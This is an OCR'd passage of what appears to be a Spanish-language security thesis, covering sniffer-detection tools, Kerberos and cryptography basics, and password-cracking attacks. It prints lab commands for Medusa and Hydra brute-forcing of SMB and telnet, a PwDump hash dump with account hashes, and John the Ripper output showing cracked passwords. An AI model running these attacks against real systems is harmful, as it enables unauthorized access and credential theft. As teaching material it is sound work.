observa en la parte derecha del browser de internet la sesion capturada teniendo los

mismos privilegios que el usuario legitimo pudiendo manipular todos los datos.

5.6 Contramedidas.

Es de gran importancia tener un control continuo sobre toda la informacién que es transferida
dentro de una empresa, como se mostré anteriormente existen varias técnicas que hacen
posible la captura de informacion confidencial y con ello poner en peligro la seguridad tanto de
informacién de los usuarios como de la organizacion. A continuacion se muestra algunas
formas para contrarrestar esta técnica.

e Restringir el acceso fisico a la red, esto daré un nivel de control a los equipos que estan

trabajando en la Intranet.
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e En redes pequefas se puede utilizar IPs y tablas ARP estéaticas, esto previene que se
agreguen entradas ARP falsas.

e Utilizar encriptacion para todas las comunicaciones de la red.

> ARP Watch.

Es una herramienta para Linux que permite monitorear el trafico ARP dentro de una red.
Realiza un registro de las direcciones IP con las direcciones MAC junto con un timestamp que
alerta al administrador de la red via correo electronico cuando existe algun cambio en el
emparejamiento de las direcciones IP con las MAC, permitiendo detectar cuando existe un
ataque ARP Spoofing. (http:/mww.wikipedia.org)

Existe una version para sistemas Windows llamada WinArp Watch.

[ WinARP Watch
File Help

Time l Action IP Address l MAC Address l Manufacturer l ARP Type
14:36:10 Added 224.0 00:00:00:9 N/A Static
14:36:16 Added 2240 00:00:00: N/A Static
14:36:33 Added 224.0. 00:00:00: N/A Static

14:36:38 Added 239.255 00:00:00: N/A Static

14:36:41 Added 255.255 00:00:00 N/A Static
14:36:51 Added 192.168 1E:B0:94 N/A Dynamic
14:36:51 Added 192.168 94:39:E5 N/A Dynamic
14:36:56 Added 192.168 FF:FF:FF N/A Static
14:36:56 HAS CHANGED! 2240 01:00:5E N/A Static

Figura 5.35 Ejecucion de la herramienta WinArp Watch — Windows.
En la figura 5.35 se observa las direcciones IP capturadas dentro de una red LAN, en la
columna “Action” se observa cuando hay un cambio entre las direcciones IP y MAC permitiendo

al administrador estar pendiente de los equipos para evitar ataques con Sniffers.

> PromiScan.

Es una herramienta utilizada para la deteccion de Sniffer, permite monitorear los equipos dentro
de redes locales en busqueda de interfaces en modo promiscuo sin utilizar muchos recursos.
Permite al administrador de red configurar el software para permitirle recibir notificaciones de

cambios potencialmente peligrosos dentro de la Intranet. (http://www.securityfriday.com)
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PromiScan
File Setup Help

IP Range | Start |
From [192.168.1.1 To |192.168.1.254
| [ - I | Step | Clear |

PP Address MAC Address  |B47|B18]B2 |Gr |\vendor

192.168.1.100 2C:81:58:FE X [x P Ix

192.168.1.101 00:0C:29:E4 X |x

192.168.1.102 00:0C:29:DA

192.168.1.110 00:0C:28:50

192.168.1.1

63| il >
READY 5 5 WinPcap:

Figura 5.36 Ejecucién de la herramienta PromiScan — Windows.
En la figura 5.36 se observa la herramienta PromiScan ejecutandose dentro de un rango en
una red LAN.

> ProDetect.

Es un escéner de codigo abierto para la deteccion de tarjetas de red que estén trabajando en
modo promiscuo, utiliza la técnica de analizar de paquetes ARP. Es una herramienta muy

utilizada por los administradores de red para asegurar sus sistemas. (http://www.sourceforge.net)

i1t proDETECT V 0.2 BETA

File Options Help
@ 72 R
WD Status Report |

Alerts produced by proDETECT

Y ‘2013 21:36:18->Detected promiscious mode on 192.168.1.100 : 2C-81-58-FE (
Unknown ]

Figura 5.37 Resultado de la herramienta ProDetect — Windows.
Ejecutando la herramienta ProDetect en una red LAN esta busca todas las maquinas que se
encuentren trabajando en modo promiscuo, el resultado de esta consulta se muestra en la
seccion “Report” donde detalla: la fecha, hora, ip y direccion MAC de todos los equipos que

sean detectados como se observa en la figura 5.37.
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» Promary.

Es una herramienta orientada a la deteccion de rastreadores de red que se ejecuten sobre
sistemas Windows. Puede consultar equipos dentro de una red local. Es un software muy

utilizado dentro de sistemas Windows. (http://www.microsoft.com)

| Promqry
File Edit Help

Systems To Query Query Results
Start P address | End IP address [ Query Status ] [Verbose option is off A
11521521100 1521581120 Ping Before Query oation is off
B 152.168.1.1 432 1b8:1512 Query start time: 2013 21:58:58

Querying 192.188.1.100...
Error: The RPC s is unavailable.
Ensure the target system is online and network connectivity is available.

Querying 192.168.1.101...
POSMIVE: Promizcuous mede cnabled

POSITIVE: Premiscuous mede enabled

System Summary
POSITIVE: at least one interface on system was found in promiscuous mode

Computer name: WINXPE4
Domain: WWORKGRCUP
Computer manufacturer:;
Computer model

wner: winXP64

ently logged on: WINXI
Operating system: Microscfi(R)

WAdministrator
dows(R}) XP Prefessional x84 Edition v

Add | Delete I Start Query

Figura 5.38 Ejecucion de la herramienta Promqry — Windows.

En la figura 5.38 se ingresa un rango de IPs en la herramienta Promqry y al finalizar la consulta

se visualiza todas las maquinas que tenga su tarjeta de red en modo promiscuo.
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CONCLUSIONES.

En este capitulo se presentaron diferentes técnicas utilizadas para interceptar el trafico en una
red permitiendo obtener informacion importante. Ademas se exponen medidas para reducir el

riesgo de ser victimas de estos tipos de ataques que permiten obtener datos privados.
Es por ello que es de vital importancia tomar acciones preventivas para que la informacién sea

transferida lo mas segura posible a través de la red. Esto evitara que exista fuga de informacion

gue pueda afectar directamente a los usuarios y por consiguiente a la empresa.
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CAPITULO VL.

PASSWORD CRACKING.

INTRODUCCION.

Este capitulo tratara acerca del password cracking también conocido como robo de
contrasefias, es muy comun en la actualidad que las empresas utilicen claves para que sus
usuarios puedan acceder a programas y a informacion de la organizacion de una forma
determinada para cada persona.

Es muy frecuente que los usuarios no tomen las debidas precauciones al momento de asignar
sus contrasefias ya que por el temor de que se pueden olvidar ingresan claves muy débiles y
faciles de interpretar facilitando al atacante el proceso de averiguar las claves.

También es muy comudn que los usuarios divulguen y escriban sus claves en lugares visibles
siendo muy peligroso puesto que cualquier persona puede encontrarlas e ingresar a sus
cuentas y hacer las modificaciones que desee.

Es por esto que es necesario que tanto los usuarios como los administradores del sistema
tengan sumo cuidado del manejo de los password. A continuacién se mostraran técnicas para
obtener contrasefias en sistemas de autenticacion y a su vez se especificaran contramedidas
gue reduzcan al maximo el riesgo de ser victimas de estos ataques gque pueden ocasionar

mucho dafio al interior de la empresa.
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6.1. Definicién y tipos de contrasefias.

Es un proceso dentro de la seguridad informatica que tiene como objetivo principal
desencriptar contrasefias de las aplicaciones utilizadas por los usuarios a través de un software
intentando obtener los password de las cuentas con mayores privilegios como lo son: root en
sistemas Linux y administrador en sistemas Windows ya que al conseguir estas claves el
atacante puede tener acceso a toda la informacién de la empresa sin ninguna restriccién siendo
muy peligroso para los intereses de la organizacion.

Hoy en dia las contrasefias son muy utilizadas para garantizar la autenticaciéon de usuarios
legitimos en todo sistema informético como lo es en: bases de datos, correos electronicos,
paginas web, banca virtual, etc. Por tal motivo los usuarios deben utilizar passwords robustos
que sean dificiles de descifrar, en la mayoria de los casos los usuarios ingresan claves muy
débiles ya sea porque son mas faciles de recordar o no quieren pasar mucho tiempo en la
digitacion de una clave con muchos caracteres siendo esto un grave error ya que existen
técnicas que pueden descifrar claves en pocos segundos y tener el control de dichas maquinas.

Entre los tipos de contrasefias se encuentran:

e Contrasefias que contienen Unicamente letras (ASDFGAS).
e Contrasefias huméricas (154543534).
e Contrasefas con caracteres especiales (#$%@#$).

e Combinacién de las anteriores (A&%sju*98JU).

La combinacién de este tipo de contrasefias utilizando: numeros, letras en mayudscula y
minUscula y sobre todo que contengan caracteres especiales hacen que una contrasefia sea
segura hasta cierto punto, esto dificulta el descifrado de las claves al intruso haciéndolo desistir
de la obtencion de las mismas.

Cabe recalcar que ninguna contrasefia es cien por ciento segura pero al manejar contrasefas
compuestas por letras mayusculas y mindsculas, nimeros y caracteres especiales hacen que

el trabajo de los crackers sea mas complicado.
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6.2 Autenticacion de contrasefas.

Este proceso se realiza al momento de que un usuario desea ingresar a informacién
confidencial, pudiendo ser de caracter personal o restringido para un cierto grupo de usuarios
de la empresa. Generalmente se lo realiza solicitando al personal que ingrese un nombre de
usuario y una contrasefia que lo autentifigue como usuario legitimo para acceder a la
informacion. Dentro de una empresa pueden existir varios tipos de accesos, entre los mas
frecuentes estan: Login a la red de la empresa, accesos a la red mediante VPN, acceso al
servidor web desde Intranet o Internet y acceso wireless. La seguridad de los sistemas de una
empresa depende en gran medida de las contrasefias utilizadas por los usuarios ya que influye
en la seguridad de la informacién. Entre los aspectos a tomar en cuenta cuando los usuarios
generan una contrasefia se encuentran: como fueron creadas, el modo en que los usuarios la
manejan, como el sistema operativo las guarda y sobretodo como son transmitidas en la red
siendo esto un punto clave en la Seguridad de la Informacién de la organizacion, uno de los
protocolos de autenticacion mas utilizados dentro de una red es Kerberos. A continuacion se

presenta una breve explicaciéon de este protocolo.

> Kerberos.

Es un protocolo de autenticacién desarrollado por el MIT (Massachusetts Institute of
Technology) que tiene como principal objetivo permitir la autenticacién entre usuarios y
servicios dentro de una red basando su funcionamiento en una criptografia de claves simétricas
y ademas con un mediador de confianza que es este caso es el “Centro de distribuciones de
claves” (KDC). Kerberos trabaja con tickets para demostrar la veracidad de los usuarios,
cuando un cliente se autentica a si mismo contra un AS (servidor de autenticacién) demuestra
al TGS (servidor de tickets) que esta autorizado para recibir un ticket de servicio, una vez que
lo recibe puede demostrar al SS (Servicio del servidor) que ha sido aprobado para tener acceso
al servicio kerberizado. (http://www.wikipedia.org/ , Parr 3)

Una vez implementado este protocolo las comunicaciones entre el usuario / cliente tendra un
nivel mas de seguridad ya que no existe la necesidad de transferencia de un password durante
la comunicacion, esto se da porque la comunicacion se establece a través de tickets de

autenticacion.
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Zona Kerberos

KDC (Key Distribution Center)

Principal ﬁ
Base de Datos

AS TGS

{Authentication (Ticket

Server) Granting Server)

i
o
1 3
Servidor Kerberizado
2 B
' 4 —~
Cliante Kerberijado | 5
=
- ’
6

Figura 6.1 Autenticacion con kerberos. (http:/www.webs.um.es/, Parr 1)

En la figura 6.1 se aprecia como trabaja el protocolo kerberos sobre una maquina. El usuario de
la maquina que desea autenticarse ingresa un password una sola vez y este se guarda en el
KDC para a su vez generar una clave a partir del password ingresado por el usuario y utilizarla
como clave para el cliente, luego el cliente envia una peticién al servidor de autenticacion
solicitando un servicio en nombre del usuario, si el AS comprueba que el cliente esta ingresado
en el KDC este genera una clave utilizando la funcién hash con el password del cliente.
Posteriormente a esto el cliente recibe dos mensajes del TGS, el primer mensaje es la clave de
sesién del usuario y el segundo mensaje contiene: La ID, la direccion de red del cliente, el
periodo de validez. Una vez recibido estos mensajes descifra el primer mensaje para obtener la
clave de sesion que sera necesaria para realizar futuras comunicaciones con el TGS.
Consecutivamente el cliente envia dos mensajes al TGS, el primero con el Ticket-Granting
Ticket generado anteriormente en conjunto con el ID del servicio solicitado y el segundo
mensaje con un autenticador conformado por el ID del cliente y una marca de tiempo, cuando
recibe los mensajes anteriores el TGS descifra el autenticador y a su vez envia dos mensajes:
el Client-to-Server ticket y el Client/Server sesion.

Una vez que se reciben los dos mensajes anteriores ya se dispone de informacion suficiente
para la autenticacion ante el SS y se envia un mensaje con un nuevo autenticador incluyendo
el ID del cliente y un marca de tiempo. A continuacién el SS descifra el ticket usando su propia
clave secreta y envia un mensaje al cliente para realizar la confirmacién de su identidad, el

cliente descifra la confirmaciéon usando el Client/Server Session Key y verifica si la marca de
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tiempo esta actualizada correctamente, una vez constatado el servidor brinda el servicio

requerido por el cliente. (http://www.wikipedia.org/ , Parr 5)

6.3 Criptografia orientada al password cracking.

Para comprender de mejor manera el funcionamiento del password cracking es
fundamental tener claro el concepto y funcionamiento de la criptografia ya que son dos ambitos
que tienen relacion entre ellos. A continuacién se detalla sus principales caracteristicas.

La criptografia es la ciencia que permite proteger datos realizando transformaciones para que
la informacion no sea legible para usuarios no autorizados. Entre sus principales caracteristicas
se encuentran: La autentificacion de los mensajes para estar seguro que los extremos de la
conexion sean los que dicen ser, la confidencialidad garantiza que los mensajes trasmitidos no
sean leidos por personas no autorizadas y la integridad asegura que los mensajes no han sido
modificados en trascurso de la conexion.

Dentro de la criptografia existen tres grupos que abarcan las diferentes formas en las que se

puede cifrar la informacion, estas son:

6.3.1 Criptografia Simétrica.

También conocida como criptografia de clave privada, basa su funcionamiento en una clave
gue la poseen tanto el emisor como el receptor para encriptar y desencriptar la informacién que
sera transmitida durante la conexién. Para que este método funcione de manera eficiente las
partes involucradas en la transferencia de informacion deben encontrar una manera segura de
compartir la clave secreta que a su vez debe ser de varios caracteres ya que serd mas dificil
para un atacante conocer dicha contrasefia. Entre los algoritmos simétricos mas utilizados
estan:

» DES (Data Encryption Standard): Es un algoritmo que cifra bloques de 64 bits mediante

permutacién y sustitucion.

» RC5: Es una unidad de cifrado por blogues que varian entre 32,64 y 128 bits, con

tamafos de clave entre 0y 2040 y un numero de vueltas entre 0 y 255.

> IDEA (International Data Encryption Algorithm): Es un cifrado por bloques que surgi6

con el objetivo de suceder al DES. Funciona con bloques de 64 bits con una clave de

128 bits ademas de ocho transformaciones idénticas y una transformacion de salida.
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Clave secreta

Emisor Archivo Receptor

Hola S*0pH Hola

Figura 6.2 Funcionamiento de la Criptografia Simétrica. (http://www.genbetadev.com)

6.3.2 Criptografia Asimétrica.

Conocida también como criptografia de clave publica, basa su funcionamiento en la

utilizacion de dos llaves una publica y otra privada que estan relacionadas matematicamente.
La clave publica es intercambiada entre los usuarios y una vez que se desee desencriptar la
informacién esto solo sera posible con la llave privada.
La forma de manejo de la criptografia asimétrica es mediante ecuaciones matematicas
complejas que utilizan combinaciones numéricas muy grandes siendo esto un inconveniente al
momento de realizar las encriptaciones ya que las hace relativamente lentas. Entre los
algoritmos mas comunes se encuentran:

» RSA (Rivest-Shamir-Adleman): Es uno de los algoritmos mas utilizados en la
transferencia de informacién por Internet para intercambios de claves y en ocasiones
para firmas digitales, su funcionamiento esta direccionado a la factorizacién de nimeros
enteros.

» DSA (Digital Signature Algorithm): Algoritmo exclusivamente para firmas digitales utiliza
célculo de logaritmos para asegurar su funcionamiento, es exclusivamente orientado a
la seguridad de las firmas digitales no para la encriptacion de datos.

» Diffi-Hellman: Es un protocolo utilizado para el intercambio de llaves entre extremos que
no han mantenido contacto previo mediante un canal inseguro y de manera anénima,

basa su sistema de seguridad en el calculo de logaritmos en un campo finito.
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Clave publica Clave privada
{compartida} [secreta)

O—-0—-O

Emisor Archivo Receptor

Hola S+ 0h4 Hola

Figura 6.3 Funcionamiento de la Criptografia Asimétrica. (http://www.genbetadev.com)

6.3.3 Criptografia Hibrida.

La criptografia hibrida es un método que une las fortalezas de la criptografia simétrica y la
criptografia asimétrica y disminuye sus problemas, la inseguridad de la criptografia de clave
privada y la lentitud de la criptografia de clave publica. Su funcionamiento se basa en la
generacion en el receptor de una clave publica y una privada, luego cifra un archivo de forma
sincrona, el receptor envia su clave publica posteriormente se cifra la clave que se ha usado
para encriptar el archivo con la clave publica del receptor, para finalmente enviar el archivo

cifrado y la clave del archivo cifrado que solo lo podréa ver el receptor.

Funciones Hash.

Es un algoritmo matemético que permite la conversiébn de ciertos datos de cualquier
tamafo en un namero de longitud fija, esto se realiza a través de funciones matematicas
unidireccionales a las que se los denomina algoritmos hash. Existen dos funciones hash que
son muy utilizadas, a continuacién se detallan:

MD5: Es un algoritmo de reduccién criptografico de 128 bits fue creado por Ron Rivest en el
afio de 1991, es utilizado hoy en dia pero su uso futuro esta en duda ya que se han encontrado
vulnerabilidades que atentan contra la encriptacion utilizada.

SHA-1: Es un sistema de funcién hash desarrollado por NSA (National Security Agency),
genera valores hash de 160 bits siendo utilizado en la mayoria de casos para crear firmas

digitales.
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Firma Digital.

Es una asociacion de datos que permite asegurar la transmisibn de documentos

electronicos permitiendo certificar la identidad del firmante y la integridad del mensaje. Su

funcionamiento se describe a continuacion:

El firmante genera mediante una funcion matemética un hash del mensaje, este hash se

encripta con la clave privada del firmante y el resultado de este proceso se lo conoce como

firma digital el cual sera enviado adjunto al mensaje original. El receptor puede comprobar la

veracidad del mensaje de la siguiente manera: en primera instancia se verificara el hash del

mensaje original, luego se desencriptara la firma digital con la clave publica del firmante y de

esta manera se obtendra el hash del mensaje original, si los dos hash coinciden se puede

asumir que el mensaje no ha sido alterado y que el firmante es quien dice ser.

Firma Digital

Funzi6n hash

101100110101

Cadigo hash

Cifrar el cadigs
hash conla
clave prvada

O
E ;i
* 01101110
Certificado Firma digital

Adjuntar
lafirmaa
Ins datos

Datos firmados

Comprobacién de una Firma

i

e

Datos firmados

o 111101101110

Firma digital

Descifrar conla
clave pihlica

0
2
| 101100110101 | — 1011001101 |
Cadigo hash Cédigo hash

Silos codigos hash coinciden, la firma es valida

Figura 6.4 Funcionamiento de la Firma Digital. (http://www.esacademic.com/)
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6.4 Tipos de ataques a contraseifias.

Existen diferentes formas de conseguir contrasefias dependiendo de la empresa, usuario,
alcance y la situacién en la que se encuentre el objetivo. Se pueden presentar varios escenario
al momento de la obtencion de los password, como puede ser la captura previa del trafico
enviado en la red con el objetivo de encontrar las secuencias de autenticacion con sus
respectivas claves, como se observl en capitulos anteriores esto se puede realizar mediante
diferentes técnicas como: Sniffer y Man in the Middle, estas capturas de trafico pueden estar en
texto plano o encriptados, de encontrarse cifradas se debe utilizar un software para poder
obtener las contrasefias, también se puede obtener las claves de acceso a sistemas
establecidos sobre las paginas web de la empresa. Teniendo claro el ambito en el cual se
requiere obtener los passwords las siguientes técnicas funciona en cualquiera de ellas, estos

ataques se dividen en cuatro tipos:

6.4.1 Ataque de Diccionario.

Es una técnica de cracking que utiliza listas de palabras en texto plano que contienen una
serie de combinaciones con las claves comunmente utilizadas por los usuarios, ya que la
mayoria de personas utilizan claves débiles que no tienen mayor complejidad. Este tipo de
ataque tiene un gran porcentaje de error cuando esta dirigido a contrasefias fuertes, esto quiere
decir cuando los passwords contienen nimeros, letras y caracteres especiales. A continuaciéon

se muestra un ejemplo de esta técnica.

¢ Medusa.

Es una herramienta que viene incorporada en las distribuciones de Backtrack que permite
realizar diferentes tipos de ataques hacia diferentes protocolos dentro de una red LAN o una
pagina web, es capaz de atacar una gran cantidad de servicios remotos como: FTP, HTTP,
MySQL, Telnet, VNC, etc. Entre las ventajas de esta aplicacion estdn que pueden trabajar con
multiples host al mismo tiempo ademas de su velocidad de procesamiento y la estabilidad del

aplicativo. (http://backtracktutorials.com , Parr 1)
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Figura 6.5 Busqueda de puertos abiertos sobre un computador con NMAP- Backtrack.

5357/tcp on

port

SYN Stealth ports)

Scan

Para que Medusa trabaje correctamente primeramente se tiene que realizar un escaneo de
puertos para visualizar cual de ellos se encuentra abierto y con esto realizar el ataque, en la
figura 6.5 se aprecia un escaneo de puertos con la herramienta NMAP hacia un host dentro de
una red LAN. Este escaneo se visualiza que existen abiertos varios puertos para este ejemplo

se utilizara el puerto 139 (NetBios).

o medusa -0 192.168.1.100 -U /root/Desktop/dicclonarios/user.txt -P /root/Desktop/diccionarios/pass. txt -M sn‘mt|

Figura 6.6 Ejecucién del comando sobre el objetivo con Medusa - Backtrack.

En la figura 6.6 se muestra la linea de comandos que utiliza la aplicacién Medusa para obtener
las contrasefias mediante un puerto abierto en este caso el 139. A continuacién se detalla su
funcionamiento:
e - h: Direccion IP del Host victima.
¢ - U: Utilizado para especificar la ubicacion del archivo de texto que contiene las palabras
para ser analizado como usuario sobre el objetivo, si se conoce un usuario en
especifico se utiliza la letra “u” en mindscula seguido del nombre del usuario. En este

caso se especifica la ruta donde se encuentra el archivo.
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e - P: Sirve para especificar la ruta donde se encuentran el archivo de texto con las
claves que sera analizado como password legitimo.

e -M: Es el modulo encargado de especificar el servicio por donde se va a realizar el
ataque, en este caso se utiliza el modulo “SMBT” que es el encargado de examinar
cuentas de NetBIOS (139).

.1.100

En la figura 6.7 se muestra el resultado obtenido con la herramienta Medusa se puede observar
los intentos previos que realizé el software antes de obtener un usuario y contrasefia valido.
Entre mas palabras tenga el diccionario habra mayor posibilidad de que las contrasefias sean

descubiertas pero a su vez tendra un tiempo mayor de procesamiento.

6.4.2 Ataque Fuerza Bruta.

Un ataque de fuerza bruta realiza combinaciones con todos los caracteres posibles para
intentar obtener un password que brinde acceso a una aplicacién. Es importante tomar en
cuenta que esta técnica tarda demasiado tiempo en tener resultados positivos ya que depende
en gran medida de la longitud de la clave y si la misma incorpora caracteres especiales.

Esta técnica utiliza el método de prueba y error esto quiere decir que su funcionamiento es muy
invasivo hacia el objetivo y es mas facil de ser detectado por los administradores de los

sistemas atacados.
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e Hydra.

Hydra es una herramienta multiplataforma que ademdas viene incorporada dentro de las
distribuciones de Backtrack utilizada para realizar diferentes tipos de ataques de fuerza bruta
sobre protocolos como lo son: FTP, POP3, SSH, TELNET, HTTP, entre otros. Puede ser
ejecutado desde linea de comandos o desde su version en modo grafico segin sea necesario.
Cabe recalcar que el modo en linea de comandos es mucho mas estable y rapido al momento

de presentar resultados (http://www.thc.org ,Parr 3).

A continuacién se muestra un ejemplo de su funcionamiento.

~# nmap 192.168.1.101

starting Nmap 6.01 ( http://nmap.org ) at 26 0 21:41 EDT

stats: 0:00:00 elapsed; © hosts completed (@ up), 1 undergoing ARP Ping Scan
\RP Ping Scan Timing: About 100.00% done; ETC: 21:41 (0:00:00 remaining)
imap scan report for 192.168.1.101

fost is up (0.028s latency).

lot shown: 994 closed ports

20RT STATE SERVICE

23/tcp  open telnet

L35/TCD  Open  msrpc

139/tcp open netbios-ssn

M45/tcp open microsoft-ds

3260/tcp open 1iscsi

3261/tcp open winshadow

1AC Address: 00:E0:4D:2F:8A:CC (Internet Initiative Japan)

imap done: 1 IP address (1 host up) scanned in 1.86 seconds
~# ||

Figura 6.8 Busqueda de puertos abiertos sobre un computador con NMAP - Backtrack.

En la figura 6.8 se muestra el escaneo de puertos a un host de una red LAN con la herramienta
NMAP, se obtuvo como resultado seis puertos abiertos, para realizar este ejemplo mediante

fuerza bruta se utilizara el puerto 23 (telnet).
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r10S/Hyara/pass, tat 192,168,1.101 Telnet

er choose FTP or SSH if available

Figura 6.9 Aplicacion y resultado del ataque con Hydra - Backtrack.

En la figura 6.9 se observa la aplicaciéon del comando y resultado del ataque sobre el objetivo
utilizando la técnica de fuerza bruta con la herramienta Hydra. La sintaxis manejada se detalla

a continuacion:

e -L: Utilizado para especificar la ruta donde se encuentra el archivos con la lista de letras
numeros y caracteres que serdn comprobados como usuarios contra el objetivo al igual
que medusa si se conoce un usuario en particular se utiliza “-I”.

e -P: Recurso que permite detallar la ruta donde estd el archivo de texto con los
caracteres para realizar el testeo de password.

e Por ultimo se ingresa la direccion IP del objetivo seguido del nhombre del protocolo que
sera atacado, también se puede utilizar la sintaxis “-s” seguido del nimero de puerto del

protocolo abierto.
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6.4.3 Ataque Hibrido.

Esta técnica es una combinacion de los ataques de fuerza bruta y diccionario, combina la
lista de palabras utilizadas en un ataque de diccionario y la fusiona con el ataque de fuerza
bruta afiadiendo caracteres especiales al inicio o al final de las palabras del diccionario, como
un ejemplo se puede citar: “@hola!”. Es una técnica que obtiene muy buenos resultados y en

tiempos menores a los de un ataque con fuerza bruta.

e John The Ripper.

Es uno de los mejores programas criptogréficos para el desciframiento de contrasefias, esta
disponible tanto en Windows como en Linux. Su principal objetivo es descubrir contrasefias
obtenidas de algoritmos hash mediante diferentes técnicas de password cracking como: Ataque
de diccionario, ataque de fuerza bruta y ataque hibrido. Es capaz de detectar automaticamente
el tipo de cifrado que se desea crackear, entre las que se encuentran: DES, MD5, Kerberos,
Hash LM utilizado en sistemas Windows y adicionalmente con mdédulos externos: MD4, LDAP,

MySQL (http://mww.openwall.com ,Parr 1).

Para utilizar la herramienta se tiene que obtener previamente las claves hash del equipo
objetivo dependiendo del sistema operativo que utilice la victima, se pueden aplicar diferentes
programas para el cumplimiento de este obijetivo.

En sistemas Windows se utiliza SAM (Secure Access Module) que es la base de datos donde
se almacenan las cuentas de usuarios cifradas en NTLM Hash y LM Hash segun sea la version
del sistema, se encuentra ubicado en la ruta “C:\WINDOWS\system32\config”.

En sistemas Linux se utiliza SHADOW que es la base donde se almacenan los password
cifrados por lo general en algoritmos DES, SHA-1 o MD5, su ubicacién es “/etc/shadow/”.

Para este caso ya que el equipo objetivo es un Windows XP se utilizara el programa PwDump
gue permite obtener contrasefias hash en un archivo de texto para su posterior andlisis con

herramientas que permitan desencriptarlas.
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C:Npudump>PuDump.exe —o claves.txt localhost

pudumpb Uersion 2.8.08-bheta-2 by fizzgig and the mighty group at foofus.net
s THIS IS A& BETA UERSION? YOU HAUE BEEN UARNED. ¢

Copyright 28689 foofus.net

This program is free software under the GHNU

General Public License Uersion 2 (GNU GPL>, you can redistribute it and/or
modify it under the terms of the GNU GPL, as published by the Free Softuare
Foundation. NO UWARRANTY,. EXPRESSED OR IMPLIED. IS GRANTED WITH THIS
PROGRAM. Please see the COPYING file included with this program

and the GNU GPL for further details.

Completed.

Figura 6.10 Obtencion de claves hash con Pwdump — Windows.

En la figura 6.10 se muestra la ejecucion del comando Pwdump sobre un sistema Windows XP
desde D.O.S, para poder ejecutar esta sentencia se debe colocar “Pwdump.exe” ejecutable
previamente descargado, seguido de “-0” que es utilizado para afadir el nombre de archivo de
salida donde se guardaran los hashes de la maquina, posteriormente se ingresa la IP de la
magquina de la cual se desea obtener el hash, en este caso se obtiene de la misma maquina por

ende se digita localhost.

""" ' claveshash - Notepad t o )

File Edit Format View Help

Administrador : 500:BA6538FA4002CE90AAD3B4 358 51404EE : C79BEC6I843D9EF4 9621 574BBSFLFCA3: ’
Alvaro:1008:7€7FA309DF 600BD2AAD3B4 35851404EE : 18AD830D0D57A087E 31BEFADI4CAZF59: +
Fernanda:1007:3489553C1E13BACBAAD3B4 35851404 EE : E412267 5A5D6C62BED7 6F6693B46B75C: : :

Figura 6.11 Archivo con los hashes obtenidos — Pwdump.

Se observa en la figura 6.11 el resultado obtenido con la herramienta pwdump, se puede
apreciar los nombres de los usuarios de la maquina objetivo con su respectivo ID que es el
identificador del rol que cumple cada usuario, el primer hash ubicado junto al ID del usuario es
el LM hash esta encriptaciéon es muy débil debido a que divide la contrasefia en dos partes
cuando excede los 7 caracteres, ademas de que si sobrepasa los 14 caracteres este hash no
es compatible, todavia es utilizado debido a que versiones anteriores a Windows Xp lo

manejan. Luego se encuentra el NTLM hash es mas seguro ya que no separa los caracteres.
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: /pentest/passwords/john# john -wordlist=password. (st -rules -format=nt password.txt
Loaded 3 password hashes with no different sa.ts lNT MD4 [126/128 SSE2 + 32/32])
Remaining 2 password hashes with no different salts
quesses: 0 DONE (Tue 2013) ¢/s: 746885 tr
ng

'  /nentest /passwords/1ohn# iohn -show passuord. txt

Adninistrador:ADMIN! :BA653BFA4002CEIOAAD3B435B51404EE : (TIBECGIB43DIEF49621574BBSFIFCA3: :
Alvc"o:ALVH-7ExFA309DF60DBD2AADjB43583l404rE'18aD830[0[57h087E318*FhD94CA F59:
Fernanda: FERNG: 3489553C1E13BACBAAD3B435B5 1404EE : E4122675A5D6C62BED76F 669384687

3 password hashes cracked, 0 left
Figura 6.12 Ejecucién en Modo Hibrido con John The Ripper — Backtrack.

Se observa en la figura 6.12 la ejecucion de John The Ripper. Por defecto cuando se ingresa la
palabra “John” seguido del archivo de texto donde se encuentra el hash previamente obtenido
el software, primero ejecuta un algoritmo para recuperar los usuarios que tienen el mismo
password que ID, posteriormente realiza un ataque hibrido y por ultimo realiza un ataque de
fuerza bruta generando palabras al azar. Para realizar un ataque hibrido focalizado se utiliza la

siguiente sintaxis:

o - wordlist=password.lst: Utilizado para buscar las palabras desde un diccionario, en este
caso password.Ist viene dentro de los archivos internos de John the Ripper.

e -rules: Activa las reglas definidas por defecto dentro de John the Ripper para utilizar los
caracteres especiales funciona en conjunto con wordlist.

o -format: Define el formato en el cual estan los hashes en el archivo de texto por defecto
asume gque estan en Im.

e Password.txt = Parametro que contiene los hashes que se desea desencriptar.

Una vez ejecutado el comando para visualizar el resultado se utiliza el comando “—show” y
como se puede ver en la figura se observa el nombre de usuario seguido de la clave
encontrada. Como se muestra en la imagen el resultado de esta aplicacion es muy bueno y ya
gue se utilizé un ataque hibrido fueron encontradas en menor tiempo las contrasefias,
claramente se visualizan las claves que contiene caracteres especiales, en este caso al final de

una secuencia de letras.
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6.4.4 Ataque con Tablas de Arcoiris (Rainbow Tables).

Un ataque con Rainbow Tables utiliza un conjunto extenso de combinaciones de tablas
hashing pre-calculadas con anterioridad que permiten mediante un software compararlas contra
el hash objetivo y asi obtener el hash correcto para su posterior visualizacion.

En mucho mas eficaz y veloz que las técnicas vistas anteriormente ya que no se limita a un
listado de palabras como lo es el ataque de diccionario, ni tampoco al testeo de caracter por
caracter como lo es un ataque de fuerza bruta. Como desventaja tiene que el tamafio de los
archivos son muy pesados pueden llegar facilmente a los 200 GB dependiendo de la
complejidad que se desee dar al testeo. En Internet existen varias paginas web que ofrecen
estas tablas de forma gratuita y de pago. El siguiente enlace facilita la obtencién de las mismas.

e https://www.freerainbowtables.com/en/tables.

Una vez descargadas las tablas se requiere de un software que permita realizar las
comparaciones con los hashes que se desean desencriptar, para ello se utilizara el programa
LOphtCrack.

» LOphtCrack.

Es una herramienta utilizada bajo entorno Windows que permite la recuperacion y
comprobacion de contrasefias encriptadas, este aplicativo utiliza los ataques por diccionario,
ataque de fuera bruta, ataque hibrido y ataque de tablas pre-calculadas (Rainbow Tables).

Este software ofrece una gran variedad de utilidades, puede identificar y evaluar diferentes
tipos de vulnerabilidades en las contrasefias permitiendo realizar auditorias programadas sobre
las maquinas de una red y posteriormente obtener informes sobre los resultados obtenidos

(www.l0phtcrack.com ,Parr 1).
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== og | R
= —- > Weak Passwords
Run Import Import Segin - Schedule Scheduled ; D = H
Wizardi Hashes From Sniffer P Audit Tasks Expired Accounts Accounts
P ———————— 1|
Import from P
Filename : -s\Santiago \Desktop\password. txi | Browse. ..
) Local machine L
() Remote machine
Import from file
@) From SAM file
&) From LCA4 file
@) From PWDUMP file
) From Unixc shadow file
| OK | | Cancel |

Figura 6.13 Importacion de Hashes — LOphtCrack.

